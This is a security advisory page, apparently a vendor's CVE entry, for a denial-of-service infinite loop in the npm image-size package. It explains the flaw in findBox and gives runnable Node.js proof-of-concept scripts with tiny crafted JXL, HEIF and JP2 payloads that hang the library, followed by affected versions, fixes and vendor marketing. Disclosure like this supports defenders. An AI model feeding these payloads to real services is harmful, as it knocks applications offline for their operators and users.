CVE-2025-71319

CVE-2025-71319 is a high-severity allocation of resources without limits or throttling vulnerability in image-size (npm), affecting versions >= 1.1.0, < 1.2.1. It is fixed in 1.2.1, 2.0.2.

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Runtime intelligence, not another scanner.

Summary

image-size Denial of Service via Infinite Loop during Image Processing

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

PoC

Usage:

node main.js poc1|poc2

// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() { 
  (async () => {
    await imageSizeFromFile(FILENAME)
    console.log('Done') // never executed
  })();
}

function poc2() {
  imageSize(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

// mkdir 1.2.0
// cd 1.2.0/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

// mkdir 1.1.1
// cd 1.1.1/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// HEIF
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x66, 0x74, 0x79, 0x70, // "ftyp"
  0x61, 0x76, 0x69, 0x66  // "avif"
]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

Denial of Service

Impact

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2025-71319 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.1, 2.0.2); upgrading removes the vulnerable code path.

Affected versions

image-size (>= 1.1.0, < 1.2.1) image-size (>= 2.0.0, < 2.0.2)

Security releases

image-size → 1.2.1 (npm) image-size → 2.0.2 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade the following packages to resolve this vulnerability:

image-size to 1.2.1 or later; image-size to 2.0.2 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-71319? CVE-2025-71319 is a high-severity allocation of resources without limits or throttling vulnerability in image-size (npm), affecting versions >= 1.1.0, < 1.2.1. It is fixed in 1.2.1, 2.0.2. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
  2. How severe is CVE-2025-71319? CVE-2025-71319 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of image-size are affected by CVE-2025-71319? image-size (npm) versions >= 1.1.0, < 1.2.1 is affected.
  4. Is there a fix for CVE-2025-71319? Yes. CVE-2025-71319 is fixed in 1.2.1, 2.0.2. Upgrade to this version or later.
  5. Is CVE-2025-71319 exploitable, and should I be worried? Whether CVE-2025-71319 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-71319 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-71319?
    • Upgrade image-size to 1.2.1 or later
    • Upgrade image-size to 2.0.2 or later

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